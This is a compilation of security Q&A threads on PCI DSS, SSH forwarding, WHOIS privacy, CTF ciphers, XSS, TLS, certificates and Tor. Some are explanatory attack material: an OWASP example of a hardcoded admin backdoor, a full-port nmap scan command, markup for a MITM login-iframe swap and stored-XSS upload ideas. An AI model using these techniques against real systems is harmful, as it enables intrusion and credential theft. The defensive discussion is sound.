CHD and SAD are defined as follows (also in DSS 3.2):

While cardholder name and expiration date are listed under CHD, the following caveat states that they are only considered CHD in conjunction with the PAN (emphasis original to the DSS):

  The primary account number is the defining factor for cardholder data.
  If cardholder name, service code, and/or expiration date are stored,
  processed or transmitted with the PAN, or are otherwise present in the
  cardholder data environment (CDE), they must be protected in
  accordance with applicable PCI DSS requirements.

By implication, if the PAN is not present, then the other listed data fields do not need to be protected as per DSS requirements.

Finally, while these quotes are from the DSS 3.2, they're largely unchanged from 3.0/3.1 and 2.x (to the best of my recollection; I haven't doublechecked).


Dual Authorization (Social Auth 2.0) Can you see any obvious challenges to requiring 2+ users to confirm authentication requests using an association such as a friendship type of relationship.

A practical application would be an Enterprise SAAS application that requires another user in the same company to authorize his login request within a short period of time? It would then be up the the users company to decide how many authorization confirmations they require. (Usability vs Security)

And edge case would be if a company only had a single user, they could simply register for 2 accounts, ideally using 2 separate machines on different networks (LTE & ADSL).

I see two problems with the proposal: normal users will not like it at all, and attackers will not find it hard to work around.

Usability is decreased in that any user must have his colleagues/friends around when he wants to log in. Multi-user approval is a valid model for initial registration (old-style clubs work that way: you can enter only if one or two existing members approve it) or when the system is especially critical (e.g. in a Titan II launch complex, two officers had to turn their "launch keys" simultaneously to trigger the ICBM lift-off), but for everyday tasks users will find it overly cumbersome. When users are employees, they will grumble and be unproductive; when users are customers, they will wander away.

Security is not much increased for the reason that you state at the end: even if the server sees the requests as coming from different users, it cannot check whether they come from different humans. Attackers who succeed in stealing some credentials can often steal several sets of credentials at the same time; for instance, if the attacker could plant a keylogger on a desktop computer, then he will grab all the passwords typed on that computer. If multi-login is enforced, then it is probable that in many cases, the two involved users will type their passwords on the same computer ("Hey, Bob, while you're here, would you type in your password ? I must update sales report 6X42.").

This contrasts with two-factor authentication in which the user login is controlled by two distinct types of credentials. The extra security comes from this type diversity; requiring authentication from two distinct users does not provide this type diversity.


Effectively limiting outgoing firewall traffic to frequently-changing IPs PCI DSS 1.2.1 states:

  Restrict inbound and outbound traffic to that which is necessary for
  the cardholder data environment.

  Verify that all other inbound and outbound traffic is specifically
  denied, for example by using an explicit "deny all" or an implicit
  deny after allow statement

The servers in our DMZ need to make outbound calls to a number of external services (mostly through HTTPS APIs). Most of these services have their own high-availability setups with low-TTL DNS records, and are liable to add or change IP addresses at any time.

Therefore it does not seem feasible to restrict outbound traffic on our firewall based on IP address, because the rules would be constantly out of date and an admin nightmare.

I've seen that some firewalls support FQDN-based rules, which sounds like it could solve the problem, but unfortunately neither our ISP nor others I've looked at (Rackspace, AWS, etc.) support FQDN-based firewall rules. We'd prefer not to have to move hosting providers.

Another solution is to set up a completely separate external hosting environment (complete with it's own redundancy and authentication) that is simply used to proxy all non-credit-card outgoing traffic. Then we'd only have to allow the IP of our proxy. This feels like overkill, and I struggle to believe it's the best solution.

Surely we cannot be the only PCI compliant company that has to deal with such dynamic outbound traffic rules? How are other companies solving this problem?

Is it possible to get around such a scenario by restricting the IP addresses to a "range", normally a subnet block (as the external company had a contiguous block and so even though there was a low TTL, the rules would still be ok)? Do you external service providers either have a contiguous block or a known range of IP addresses? In my experience, most do.

From my understanding of the PCI requirements (disc: I'm a little rusty, it's been a while), the afore-mentioned solution would be sufficient because the destination is restricted and your rulebase will still have an explicit deny.

Another potential solution is to have a proxy server, either internally on the LAN or in a quasi-DMZ zone that the DMZ server can talk to the external services through. Policy can be really locked down on the proxy server such that external access from the DMZ server can be restricted to site, protocol, time etc. The proxy server is designed to deal with FQDNs (whereas the firewall typically isn't and can suffer considerabe performance degradation as outlined by @JeffFerland) so you could have a tighter policy as it'd be based on the FQDNs as destinations, not IP ranges.

I guess a lot depends on the QSA who turns up on the day :)

Additionally, I'm sure you know this but all "security best practices" (afaik) strongly insist on preventing outbound calls from the DMZ (period) so that if the box on the DMZ gets popped, the attacker cannot easily load further goodies onto the server or a piece of malware can much more easily call home.


Are there any filesystems that have secure deletion as a feature? There's many 3rd party tools people have designed to perform secure deletion, but I don't know of any filesystems where secure deletion is built in.  In fact, secure deletion has to work around features of filesystems like journaling that (inadvertently) make secure deletion more difficult.  Are there any filesystems that allow secure deletion as a feature?

My own research revealed a set of patches to ext4 by an Allison Henderson, but the last references I can find for this are from 2011.  They appear to be not perfect, but far better than the complete non-wipe that happens in most, if not all modern filesystems.

NTFS sort of does if you include The Encrypting File System as part of it.

  The Encrypting File System (EFS) on Microsoft Windows is a feature introduced in version 3.0 of NTFS

Secure deletion is supported by cipher.exe:

  You can use the Windows Cipher utility (with the /W option) to wipe free space including that which still contains deleted plaintext files

And on the Microsoft page:

  Cipher.exe is a command-line tool... that provides the ability to permanently overwrite (or "wipe") all of the deleted data on a hard disk. This feature improves security by ensuring that even an attacker who gained complete physical control of a Windows 2000 computer would be unable to recover previously-deleted data.

This would still require a two step operation in order to remove files securely:

del c:\foo\bar.txt
cipher /w:c:\foo

Therefore this would not work with applications that deleted files as part of their operation unless cipher was manually ran later. You could, however, schedule cipher /w:c:\ to run on a regular basis in order to wipe deleted files from the disk.


What is the security implications of enabling SSH onward connections I was reading SSH tips and tricks from http://blogs.perl.org/users/smylers/2011/08/ssh-productivity-tips.html
There is a section on Onward Connections and the author warns not to use this unless you trust sys-admins on the middle servers.

I wanted to know what are the security implications of enabling Onward connections for SSH.

There is no security problem with SSH agent forwarding per se; that is, there is no additional risk that you would not see by manually logging in to the remote server and connecting to a third machine.

The risk lies in the fact that a malicious system owner (or attacker, if the system has already been compromised) is in a perfect position for a man-in-the-middle attack.

The MitM attack could come from several different vectors, although two come to mind specifically. The malicious admin could attempt to sslstrip an outgoing SSH connection so that your data (including credentials) is readable in transit, or he could change DNS so that you are connecting to an SSHd designed specifically to steal passwords, rather than the destination you were initially trying to reach.

Again, though, these risks would be present while using a third-party server even without specifically using SSH agent forwarding.

Hope this helps :)


How much can I trust domain registrars to honor Whois identity protection services? Domain name registrars offer whois ID protection services. I do plan to use such a service.

But as I'm a relative newbie to the domain name registration world, I don't know whether I can trust it.

I'm trying to decide whether it is worth risking providing a false mailing address on top of this, because I'm not sure how much I can actually trust my registrar to keep my information private despite this.
(Obviously, my mailing address would, etc. be invalid. I wouldn't be providing someone else's info!)

Of course, I realize that in the case of a legal inquiry/subpoena/etc., the registrar will obviously have to produce my information. I can neither really avoid that, nor am I trying to.

However, what I am trying to avoid is some nosy third-party entity socially engineering or otherwise getting my information from the registrar, and I'm trying to balance that against the risk of my domain name getting shut down due to invalid contact information.

It's not hard to use some imagination here, so let me give an example. (This is just an example; use your imagination to think of other situations.)
For example, let's say someone wants to know my name and address, and therefore accuses me of hosting their copyrighted content/secrets/etc. as a ploy to get my hidden contact information from the registrar, and manages to convince the registrar I'm doing something illegal.

Of course, I realize no such system can be completely bulletproof. But I just don't know how lax it is. Would such a person be able to succeed in getting my information on their own without my knowledge (possibly through social engineering, lying, etc.), or are registrars historically pretty good about first contacting the domain owner and keeping their information protected until they legitimately confirm that the domain owner may be doing something wrong (or not cooperating or the like)?

If it matters, I'm looking at Namecheap's WhoisGuard in particular, but I'd really like this answer to be as reasonably generic as possible.  Again, to reiterate: I realize the system isn't bulletproof, but I would like to have some idea of just how trustworthy it is. Is it more like 50%? 80%? 99%? 99.999%?

It would seem that with "proxy" registrations still leave customer IDs, but email addresses, physical addresses, phone numbers, etc., are left out.

A part to note is that it can also matter which domain name you pick. Not only was this cheaper in my case (with a .ca), but also arguably more secure.

For instance, using one of many WHOIS services on the internet, .ca domains will have less information available about them (my customer number replaced):

Domain name:           darkst3alth.ca
Domain status:         registered
Creation date:         2015/09/06
Expiry date:           2017/09/06
Updated date:          2016/10/21
DNSSEC:                Unsigned

Registrar:
    Name:              Go Daddy Domains Canada, Inc
    Number:            XXXXXXX

Name servers:
    pam.ns.cloudflare.com
    tim.ns.cloudflare.com

% WHOIS look-up made at 2016-11-26 00:35:29 (GMT)
%
% Use of CIRA's WHOIS service is governed by the Terms of Use in its Legal
% Notice, available at http://www.cira.ca/legal-notice/?lang=en
%
% (c) 2016 Canadian Internet Registration Authority, (http://www.cira.ca/)

As per GoDaddy's "Domain by Proxy", or "Domain Registration Privacy" feature, .com domains have much more available:

Domain Name: XXXXXXXX.com
Registry Domain ID: XXXXXXXXXX_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.godaddy.com
Registrar URL: http://www.godaddy.com
Update Date: 2016-08-26T23:33:53Z
Creation Date: 2016-08-26T23:33:53Z
Registrar Registration Expiration Date: 2018-08-26T23:33:53Z
Registrar: GoDaddy.com, LLC
Registrar IANA ID: 146
Registrar Abuse Contact Email: email@godaddy.com
Registrar Abuse Contact Phone: +1.4806242505
Domain Status: clientTransferProhibited http://www.icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited http://www.icann.org/epp#clientUpdateProhibited
Domain Status: clientRenewProhibited http://www.icann.org/epp#clientRenewProhibited
Domain Status: clientDeleteProhibited http://www.icann.org/epp#clientDeleteProhibited
Registry Registrant ID: Not Available From Registry
Registrant Name: Registration Private
Registrant Organization: Domains By Proxy, LLC
Registrant Street: DomainsByProxy.com
Registrant Street: 14747 N Northsight Blvd Suite 111, PMB 309
Registrant City: Scottsdale
Registrant State/Province: Arizona
Registrant Postal Code: 85260
Registrant Country: US
Registrant Phone: +1.4806242599
Registrant Phone Ext:
Registrant Fax: +1.4806242598
Registrant Fax Ext:
Registrant Email: email@domainsbyproxy.com
Registry Admin ID: Not Available From Registry
Admin Name: Registration Private
Admin Organization: Domains By Proxy, LLC
Admin Street: DomainsByProxy.com
Admin Street: 14747 N Northsight Blvd Suite 111, PMB 309
Admin City: Scottsdale
Admin State/Province: Arizona
Admin Postal Code: 85260
Admin Country: US
Admin Phone: +1.4806242599
Admin Phone Ext:
Admin Fax: +1.4806242598
Admin Fax Ext:
Admin Email: email@domainsbyproxy.com
Registry Tech ID: Not Available From Registry
Tech Name: Registration Private
Tech Organization: Domains By Proxy, LLC
Tech Street: DomainsByProxy.com
Tech Street: 14747 N Northsight Blvd Suite 111, PMB 309
Tech City: Scottsdale
Tech State/Province: Arizona
Tech Postal Code: 85260
Tech Country: US
Tech Phone: +1.4806242599
Tech Phone Ext:
Tech Fax: +1.4806242598
Tech Fax Ext:
Tech Email: email@domainsbyproxy.com
Name Server: NS77.DOMAINCONTROL.COM
Name Server: NS78.DOMAINCONTROL.COM
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
>>> Last update of WHOIS database: 2016-10-27T18:00:00Z <<<

For more information on Whois status codes, please visit https://www.icann.org/resources/pages/epp-status-codes-2014-06-16-en

****************************************************
See Business Registration Listing
****************************************************
Copy and paste the link below to view additional details:
http://who.godaddy.com/whoischeck.aspx?domain=3zliving.com

The data contained in GoDaddy.com, LLC's WhoIs database,
while believed by the company to be reliable, is provided "as is"
with no guarantee or warranties regarding its accuracy.  This
information is provided for the sole purpose of assisting you
in obtaining information about domain name registration records.
Any use of this data for any other purpose is expressly forbidden without the prior written
permission of GoDaddy.com, LLC.  By submitting an inquiry,
you agree to these terms of usage and limitations of warranty.  In particular,
you agree not to use this data to allow, enable, or otherwise make possible,
dissemination or collection of this data, in part or in its entirety, for any
purpose, such as the transmission of unsolicited advertising and
and solicitations of any kind, including spam.  You further agree
not to use this data to enable high volume, automated or robotic electronic
processes designed to collect or compile this data for any purpose,
including mining this data for your own personal or commercial purposes.

Please note: the registrant of the domain name is specified
in the "registrant" section.  In most cases, GoDaddy.com, LLC
is not the registrant of domain names listed in this database.


Unrestricted file upload in chat I am currently doing a bug bounty program and found a possible file upload vulnerability, but I am not so sure about it.
The vulnerability is on the chat function. In the chat function, users are allowed to communicate with each other and attach files.
Upon sending the message, I turned on my burpsuite and intercept the request. It turns out that the body of the POST request to the server includes the URL image where the image was uploaded. The image is uploaded to a subdomain of the company and when it is changed to my own domain, I was able to upload my own file from my domain, but is only limited to images. I tried uploading .SVG files with XSS payloads but they are not executed inside of the chat. I found out the image being displayed inside of the chat is being put inside of an <img> tag.
So it would look something like this;
<img class='...' src='https://myowndomain.com/StoredXss.svg>

If we click on the image, it will only be enlarged but the xss payload isn't executed and of course, if we 'open new tab' this image, the xss will be executed.
Things I tried:

change the extension into a php file (doesn't execute since it is wrapped inside of a img tag)
change the url with xss payload (dangerous chars are converted to html entities)

Is there a possibility to exploit this in the chat?

As far as you're letting on, this isn't an "unrestricted file upload" vulnerability. "Unrestricted file upload" means uploading the file to their domain/server, not yours. SVG images sourced this way (via images) don't normally execute the javascript they contain. If you manage to upload an .svg file to their domain, and it's accessible via a URL, then you'll have a stored XSS vulnerability if you can get someone to visit the URL directly.
PHP files accessed on your domain would only ever execute code on the server they were hosted on, referenced inside an image tag or not. I think you're confusing sourcing a document as an image inside HTML with PHP file inclusion, wherein the server's PHP source specifies an attacker-controlled file for evaluation. Web servers don't go grab image links specified inside the HTML document they're responding with and interpret them as server side PHP code.


How to decrypt text when four first letters of the key are missing in Facebook CTF contest? I am beginner in cyber security. Now I am participating on Facebook Catch the Flag contest. I have to solve following task:

There is a key. But the first four characters of the key are missing:

_ _ _ _ U3xn3Gk9y

This is the algorithm:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    FILE *fi, *fo, *fk;
    int i, r;
    char key[20], text[100];

    fi = fopen("flag.txt", "r");
    fo = fopen("encrypted.txt", "w");
    fk = fopen("key.txt", "r");

    fscanf(fi, "%s", text);
    fscanf(fk, "%s", key);

    srand(key[0] * key[1] * key[2] * key[3]);
    for(i = 0; i < strlen(text); ++i)
    {
        r = rand();
        putc(r ^ key[(r % strlen(key))] ^ text[i], fo);
    }

    fclose(fi);
    fclose(fo);
    fclose(fk);
    return 0;
}

Encrypted text:

  РY‘ґЊЈZц‚…Jщ,PvPw#ѓЗfыbаЁ+dИ?ѕцiЃyЛSBШ“¦ЕiЈ;иb—щьХЗ*]ЋOЛ,O™µEкЧи–ББш}

I need to decypher the ecrypted text.

First of all, I am not asking for solution or answer. I am asking for some hints:

From where should I start to solve: to find first 4 characters of key or random number?
How does rand() algorithm work?
If r ^ key[(r % strlen(key))] ^ text[i] = encrypted[i] is true, what will be formula for text[i]=?
Is there any mathematical way to solve this problem? If there is could you name it?
Could you give any hint (not solution) to solve this problem?

A few hints:

The letters in the key are likely to be within the ASCII printable range.
The decoded text is likely within the ASCII printable range.
It's not very hard to bruteforce a 32-bit number, even less hard if you can reduce the key space down.


VM Kali Linux - nmap why is so slow? I was scanning an IP using this command: nmap -sT -p- -Pn <Ip_Address>, but is very slow scanning. To reach 100%, the command line said 3 hours remaining. Why is it so slow?

Possibilities:

You are using a VM with a virtual NAT (Network Address Translation) network adapter. I have experienced profound slowdown under VirtualBox, for instance, when using NAT instead of a bridged network adapter.
You are scanning something that isn't there. The -Pn option means "don't bother trying to find out if anything is listening at this address, just start port scanning it." If the target is not actually there, you'll waste a lot of time sending packets into nowhere.
Your network (or your connection to the target) is slow. What is the latency to the target as measured by nmap -sn or ping? How far away is the target? What kind of network speed do you have? Any of these can impact total scan times.
You are performing a lot of work. The -p- option means to scan 65535 TCP ports. Depending on network conditions and host behavior, this can be a significant amount of traffic.


Preventing DMA Attacks I read on the Wikipedia article on DMA attacks that a misconfigured BIOS allowed for this type of attacks. I am asking whether, given the hardware I am using, DMA attacks are possible and whether I can mitigate them by changing options in my BIOS.

In my case, I own an Asus P8P67 motherboard and a netbook. I guess on the Netbook a DMA Attack would be impossible because it has no FireWire connection port and no PCI Slots. Is that correct?

In my Asus P8P67 BIOS, I can't find an option to disable DMA. Is it possible to disable all PCI slots except the one my graphic card is plugged in to? If I do this, would it suffice to prevent DMA attacks?

You don't want to disable DMA.  At best, it will cause a massive slowdown of your computer, as every memory access must be handled by the CPU; most likely, it will make your computer entirely non-functional.

The best way to prevent DMA attacks is to disable or remove FireWire ports and use a computer case with a chassis intrusion switch to shut the computer off if the case is opened.


What is the security flaw in this example of "magic parameters"? I am reading OWASP Testing Guide v3:

Example 1: Magic Parameters
Imagine a simple web application that accepts a name-value pair of “magic” and then the value. For simplicity, the GET request may be: http://www.host/application?magic=value.
To further simplify the example, the values in this case can only be ASCII characters a – z (upper or lowercase) and integers 0 – 9. The designers of this application created an administrative backdoor during testing, but obfuscated it to prevent the casual observer from discovering it. By submitting the value sf8g7sfjdsurtsdieerwqredsgnfg8d (30 characters), the user will then be logged in and presented with an administrative screen with total control of the application. The HTTP request is now:
http://www.host/application?magic=sf8g7sfjdsurtsdieerwqredsgnfg8d

Given that all of the other parameters were simple two- and three-characters fields, it is not possible to start guessing combinations at approximately 28 characters. A web application scanner will need to brute force (or guess) the entire key space of 30 characters. That is up to 30^28 permutations, or trillions of HTTP requests! That is an electron in a digital haystack!
The code for this exemplar Magic Parameter check may look like the following:
public void doPost( HttpServletRequest request, HttpServletResponse response)
{
String magic = “sf8g7sfjdsurtsdieerwqredsgnfg8d”;
boolean admin = magic.equals( request.getParameter(“magic”));
if (admin) doAdmin( request, response);
else .... // normal processing
}

By looking in the code, the vulnerability practically leaps off the page as a potential problem.

As I am a beginner, I don't see the vulnerability in the code right away. Could someone explain what exactly is wrong with the code?

Actually there is another more important one, due to the lack of a time constant implementation of equals, a timing attack can be used to work out magic.

See http://codahale.com/a-lesson-in-timing-attacks/

public static boolean isEqual(byte[] a, byte[] b) {
    if (a.length != b.length) {
        return false;
    }

    int result = 0;
    for (int i = 0; i < a.length; i++) {
      result |= a[i] ^ b[i]
    }
    return result == 0;
}


https login iframe 2014 Per current security recommendations & browser support, is it okay to have an https iframe in an otherwise http-only set of pages?

Is this not a dupe? It is, but I want current trends because when I tested a few months back browsers warned me about mixed content, but now when I do an iframe of a secure login page overlay from my own domain I don't get any warning. (URL is a.com but it points to my own local host, main url us http://a.com/, which has an iframe that comes from https://a.com/login)

I presume it's because https is not at fault and it was JavaScript that led to the vulnerabilities and now that is fixed?

Tested in FF 31, Chrome 36, IE 9

I did see:

Specific risks of embedding an HTTPS iframe in an HTTP page ;
Specific risks of embedding an HTTPS iframe in an HTTP page ;
Is posting from HTTP to HTTPS a bad practice? ;
https://www.owasp.org/index.php/SSL_Best_Practices

I understood that the risk is that the user could have an addon/malicious program that changes the iframe's source. If the user's computer is so badly compromised aren't all bets off anyway?

Should we tell our client, even in 2014, no https login iframe? If the user wants to login, refresh page to the https version or redirect the user to other login page and post login can come back to http in safe areas (non checkout and account related).

I know it's not much of a computational thing but for some reason the client is fixed on the idea that some pages are better http or https (default http though user can change to ssl manually)

https login iframes are secure from passive eavesdropping but won't help against active MITM.

The js vulnerabilities may have been closed, but the issue remains, as the parent html (served over http) can still be modified, including the url of the iframe. Then the MITM can set up the login page via http and that will be loaded by targeted users. Only users who are using a password manager will notice the change, as password managers treat https and http urls as different origins. This is nothing browser vendors can fix.

For example, instead of serving

<iframe src="https://site.example/login.php" name="login_frame">

the MITM attacker can serve

<iframe src="http://site.example/login.php" name="login_frame">

and serve a intercepted login page on the http page.

And javascript, as described in the original anwser, can still access the iframe attributes. Try it yourself: http://jsfiddle.net/eLqn0ky9/


how does OpenSSL create X.509 certs from SPKACs? The SPKAC ASN.1 description:

PublicKeyAndChallenge ::= SEQUENCE {
    spki SubjectPublicKeyInfo,
    challenge IA5STRING
}

SignedPublicKeyAndChallenge ::= SEQUENCE {
    publicKeyAndChallenge PublicKeyAndChallenge,
    signatureAlgorithm AlgorithmIdentifier,
    signature BIT STRING
}

A normal CSR has a section for the subjects distinguished name (DN). SPKACs don't. As such how are X.509 certs created from SPKACs? Are people presented with prompts asking them for all the DN attributes or something?

A certificate request is "just" a token requesting that a CA issues a certificate with contents set as the CA sees fit. The CA is supposed to fill the certificate with information that it partially obtains from the requester, but also from other sources. In any case, even if a PKCS#10 request allows for specifying a complete DN, the CA is not bound to issue the certificate with exactly that DN. For instance, no sane CA will issue a certificate to me, with the DN "CN=Barack Obama,O=US Government,C=US". It may issue a certificate with a DN "CN=Thomas Pornin", but only because the CA "knows" my name by some out-of-band mechanism (e.g. the request has come through a SSL tunnel, in a session in which I was previously authenticated).

However, if the CA can verify the DN from a certificate request, then it already knows the name, and thus it does not really need the name from the request itself: the CA can put the correct name in the certificate by itself.

The SPKAC certificate request format is just an old barebone format which assumes that the CA already knows everything, except the public key. The "challenge" and the "signature" are extra security feature to prevent some attacks (e.g. the signature prevents me from requesting a certificate which contains the public key of someone else).


Has anyone validated if KeePass is safe to use? Does it have any backdoors? Everyone says "the code is open source, go check it out". The truth is, I neither know how to validate the complex code nor can I understand the binaries in code or predict their behaviours. Has anyone actually read it, understood it and validated it for

proper implementation of AES standards
backdoors
risk of the program itself sending data to places it shouldn't (malicious code).

I did my part by researching online and found no shred of evidence of anyone serious (who is actually in the position of judging implementation of cryptography) validating this and confirming it's safe to use. It'd be very helpful if anyone can point me to relevant literature or verify if they've actually done the work.

There is a paper by Paolo Gasti and Kasper Bonne Rasmussen from the University of California which looks at the storage formats used by various passwords managers - they do highlight some issues with Keepass 2.x format, but these have been fixed since the paper was published.

There was also a tool released, KeeFarce which claimed to be able to extract passwords from memory of running Keepass instances.

However, I can't find any evidence of an independent security analysis being carried out against the code. I can't find any evidence of one against PasswordSafe, which is probably the most direct competitor either.

In this case, though, I suspect that even a password safe with local flaws (e.g. in-memory data being recoverable) is better than repeating passwords across multiple sites, given the most common attack vectors. It is rare for non-nation-state/espionage attackers to go after specific passwords. They tend to go for database dumps with lots of different passwords in, looking for potentially useful data they can use to gain value, in the form of more useful sites, or in goods. Even an unencrypted text file with site-specific passwords in, stored on your local system (please don't do this!) offers good protection against this attack method, compared with memorising one really strong password and using it everywhere. Clearly, this wouldn't apply if the safe was sending password data out to a third party, but this is also easier to check - run the application on a machine connected through a monitoring switch, and see if it sends anything you aren't expecting during use.

I would be all for an independent security analysis of various open-source password safe systems, but this does require specialist knowledge, and to be repeated if there are major changes to any part of the codebase. This is probably out of the budget for any lone open-source developer. Until then, I would rather people use a unique password for each site they log into, and even a flawed local implementation is probably overall more secure.


are session key generated during RSA key exchange mode ephemeral A cryptographic key is called ephemeral if it is generated for each execution of a key establishment process.

We don't we say then that the pre-master secret used in RSA key exchange mode during an TLS handshake and the derived session key from it are ephemeral ? Of course it does not provide Forward Secrecy as it is using the same public key from servers certificate over and over again, but still the session key is generated on each session. What am I missing ?

The question is not very clear but let me try to provide an answer it from what I get.

The RSA exchange method is used to establish the pre-master key. The client generates a random value, use the server public key from the Server certificate from the Server Hello message to encrypt the pre-master secret key and send it to the server. Then the server can use its private key to sign a sample message to send it to the client so that the client can verify it to establish the identity of the server.

Since, the client sent a random value encrypted with the server's public key that can only be decrypted by the server, they now have a common random value that can server as a pre-master secret. Both, client and server can now derive their session key from it.

Since, the client generates it at every new handshake (not TLS session resumption), it's ephemeral.

You are right that the public key of the server never changes, and if the private key of the server gets compromised then anyone with the recordings o the messages over the wire can get the pre-master key and decrypt it, that too for all sessions hence NOT providing Perfect Forward Secrecy.


Where else is IPSec used, besides with VPNs? IPSec is most commonly used to secure VPN traffic. Where else is this protocol suite used? What else can it be used for?

Well actually, it was primarily developed for IPv6 traffic. It doesn't have to be used for VPN's per say, but it is designed to be an end-to-end security scheme and can be used to secure communications for any application traffic across an IP network.

  Internet Protocol Security (IPsec) was originally developed for IPv6,
  but found widespread deployment first in IPv4, for which it was
  re-engineered. IPsec was a mandatory specification of the base IPv6
  protocol suite,[3][21] but has since been made optional.[22]

Source: Wikipedia


Authentication through digital certificates plus signature While studying X.509 certificates, I've found that

  authentication is safer if I associate/combine one or more certificates with each signed message (certificate + signed message). The receiver of the message would like to validate the certificate using the public key of the Certificate Authority and, once he has found the public key of the sender inside the certificate, he would like to validate message's signature with this public key.

What I can't understand is:
If I don't add the signature to the message, what could happen? Why it would be less safe?

A certificate is public data; people keep showing them to each other. When you talk to a SSL server, one of the first things that the server does is to show his certificate. To anybody.

Thus, showing a certificate does not prove your identity. What matters is the private key. The private key is not in the certificate(*). By computing a signature, you demonstrate mastery of the private key, i.e. you show that you are yourself.

The certificate itself is a container for the public key. When I look at Google's certificate (the one they use for their servers), I can validate it (against CA's public keys) to gain some assurance about the certificate contents, which really amount to: "this public key is owned by that entity". I thus learn Google's public key. However, it does not tell me at all that whoever handed me that certificate is Google ! Everybody can obtain Google's certificate; you can even see it in your Web browser by merely connecting to their server. What tells me that I am indeed talking to Google's server is that the server appears to be able to produce a valid signature on a challenge I am sending to it; and I can verify that signature with Google's public key (and I know Google's public key thanks to the certificate). Being able to produce a valid signature requires knowledge of the private key -- in that case, Google's private key, which, as the name implies, is known to Google only.

(*) There is a considerable amount of confusion implied by some people who call "certificate" what really is the certificate AND the corresponding private key. Terminology sloppiness is unfortunately widespread.


How to prevent XSS attack on selected window.location in javascript This is my code where i have a userId in a  method SwitchUser_Click. I need to prevent or somehow encode the return value from the switchUser_Click as it includes the UserId of a user vulnerable to XSS attack or redirects.
function SwitchUser_Click(containerElement, OnSuccess) {
            var selecteduserId = $("select", containerElement).val();
            var makeDefault = $(":checkbox", containerElement).is(":checked");
            window.location = "Default.aspx?uId=" + selecteduserId + "&userActive=" + (makeDefault ? "1" : "0");
            OnSuccess();
        }

The belows code is called from aspx page by using Client.RegisterScript and passing the parameters. This is the only place SwitchUser_Click method is used.
function OpenSwitchUser(UserId,modCode,defUrl) {
            defaultUrl = defUrl;
            var options =
            {
                controlUrl: "~/Controls/SwitchUserDialog.ascx",
                params: { uid:UserId, mod: modCode},
                top: 70,
                width: 600,
                height: 2500,
                OKCallback: SwitchUser_Click,
                InitCallback: SwitchUserDialog_Init,
                cancelCallback: SwitchUser_Close
            };
            $.showControlDialog(options);
        }

My aspx.cs page
here is the problem i need to find a better approach to this part
var parameterUserId = Request.QueryString["uId"]; //problem need a better appoach

I want to know how to encode my userId in the SwitchUser_Click method and decode it when its called. Or maybe there is some other way to do this . Thank you

Create the URL using the JavaScript URL API.
dest = new URL("Default.aspx", window.location);
dest.searchParams.append("uId", selecteduserId);
window.location = dest.href;

This provides a higher-level API, and it correctly encodes everything for you.


How does Convergence (CA replacement) prevent its notaries from being MITM'd as well? I have been looking into Convergence and how it works, but I cant figure out how it is effective against a MITM attack that happens near the target system.  My understanding is that Convergence works by requesting a number of notary servers to check that they see the same SSL certificate from a destination server as you do.  However, couldn't an attacker set up the attack in such a way that ALL traffic for the destination server goes through the attacker's server first?  I have no idea how feasible that would be, but would it be more complicated than getting forged certificates from a CA (DigiNotar jokes aside)?

I know that this would only affect users who have not yet locally cached the destination certificate, so perhaps this is less of an issue.  Still, it seems less than ideal.  Just trying to figure out if Convergence is a solution to the problem or if its just a different kind of problem.

Details on Convergence are to be found in the Perspectives Project, notably the corresponding Usenix article.

An attacker able to "hide" the server from all notaries (i.e. an attacker working over the local network of the server, mostly) is what the authors call the Lserver model. Ultimately, that attack "works" with default notaries, which use "network perspective". Namely, the notaries will see the attacker's certificate as being "a new certificate for the server", which is valid. However, as soon as the attacker ceases the active attack, the old certificate becomes visible again, and this raises alert flags in the notaries: a certificate update is certainly valid, the reappearance of an old certificate is suggestive of foul play at work.

However, nothing prevents notaries from using other validation strategies, including CA-based validation, which has its own issues but resists MitM.

There are two main ideas in that system:

Delegate validation to external servers (the notaries), using several with a consensus quorum to avoid single points of trust. This kind of delegation already exists in the context of the X.509 bestiary, under the name SCVP (but the Convergence protocol is quite simpler).
Have notaries use their memory to improve security. Where a normal SCVP server would rely on context-free validation (the true X.509 way) with maybe a bit of short-time caching but only to save on CPU costs, Convergence notaries primarily rely on temporal stability: they assume that SSL server certificates usually remain unchanged for one or several years, for a given server; hence they can simply check that a SSL server certificate is still the same than before. X.509 and SCVP could deal with a server getting a new certificate every 5 minutes, which is awesome but completely useless in practice.

A cornerstone of the Convergence reasoning is that if an attacker can successfully defeat the checks performed by the notaries, then he will also be able to impersonate the server when talking to traditional CA, and thus could also defeat the traditional CA model. Hence, security-wise, Convergence is no worse than the present situation. Note that X.509 could do much better; in particular, revocation is not really supported by Convergence, and Convergence is no worse than traditional CA mostly because existing clients tend not to check revocation anyway.

So really Convergence is not about making SSL more secure, but rather about killing off existing CA without lowering the overall security.

Potentially, a notary could run any validation process it wishes, including normal X.509 path validation (and then avoid the kind of MitM that you suggest). Since one could expect that there will be much fewer notaries than clients, and those notaries would be more "security aware", we can conclude that at some future point Convergence would actually improve Web security. The most immediate consequence of widespread Convergence usage, though, would be a shift in power: the Game Master would no longer be Microsoft (who decides which CA go into the list recognized by default by Internet Explorer) but rather whoever runs the notary with the best network connectivity that clients would use by default (presumably Google).


Does Tor still hide all tracks? I've seen some threads on Reddit that say true hackers, when attacking, go through a public WiFi network, use a VM, proxy through a zombie computer, use a VPN, then proxychain through Tor, use another VPN, etc.... My question is, what makes this anymore secure than just proxychaining through Tor? Doing so routes all connections through Tor nodes, therefore hiding your ip everywhere. Some common answers to this are "JavaScript sections on a website" or "html sometimes leaks your ip" are not true. So again: why don't real hackers just proxy through Tor as their only step?

The short answer is NO (nothing hides all tracks)!
Here is the longer answer:
There are some researches on Tor on how to break the anonimity (track users); anonimity is the main goal of Tor.
To simplify it, let's take a look at the architecture of Tor. It has an entry point by connecting to a node in the Tor network, it will be passed to at least 3 different nodes in the Tor network before it gets out from the exit node.

Now, if someone monitors all or some entry and exit nodes, it doesn't matter how the data was gone through which called "Traffic-analysis attack". It is possible to find who requested what kind of the accesses. There are more kinds of the attacks; here you can find a short review on other attacks where I got the photo from.
So, to answer your question it is better to say "it depends". What do you mean by "hiding tracks"? from "who"? If you do not want stop hackers not to see you, that would be a good try but if you care about huge organizations or governments, it is better to find another solution for hiding yourself and your stuff.
List of some articles about attacking Tor:

Thirteen Years of Tor Attacks
Attacking Tor: how the NSA targets users' online anonymity
Darknet Security: A Categorization of Attacksto the Tor Network
Speculative Tor Attacks
